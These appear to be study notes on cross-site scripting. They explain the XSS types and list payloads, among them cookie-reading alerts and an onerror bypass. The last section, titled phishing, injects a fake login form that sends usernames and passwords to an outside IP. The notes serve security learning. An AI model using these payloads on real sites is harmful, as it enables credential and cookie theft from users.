Cross Side Scripting
- When a vulnerable web application does not properly sanitize user input, a malicious user can inject extra JavaScript code in an input field (e.g., comment/reply)
- another user views the same page
- they unknowingly execute the malicious JavaScript code.
XSS Types
| Type | Description |
|---|---|
Stored (Persistent) XSS | The most critical type of XSS - occurs when user input is stored on the back-end database and then displayed upon retrieval |
Reflected (Non-Persistent) XSS | Occurs when user input is displayed on the page after being processed by the backend server - but without being stored - search result or error message |
DOM-based XSS | Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side - without reaching the back-end server (e.g. - through client-side HTTP parameters or anchor tags) |
Examples
<script>alert('999');</script>
<script>alert(document.cookie);</script>
If alert is blocked
<script>alert(window.origin)</script>
If script is blocked
<img src="" onerror=alert(window.origin)>
const name = new URLSearchParams(window.location.search).get('name');
console.log("Hello, " + name);
fetch('http://localhost').then(response => console.log(response.blob()));
Form Injection for Phishing
document.write('<h3>Please login to continue</h3><form action=http://10.10.15.11><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
document.write('<h3>Please login to continue</h3><form action=http://10.10.15.11><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove() <!--;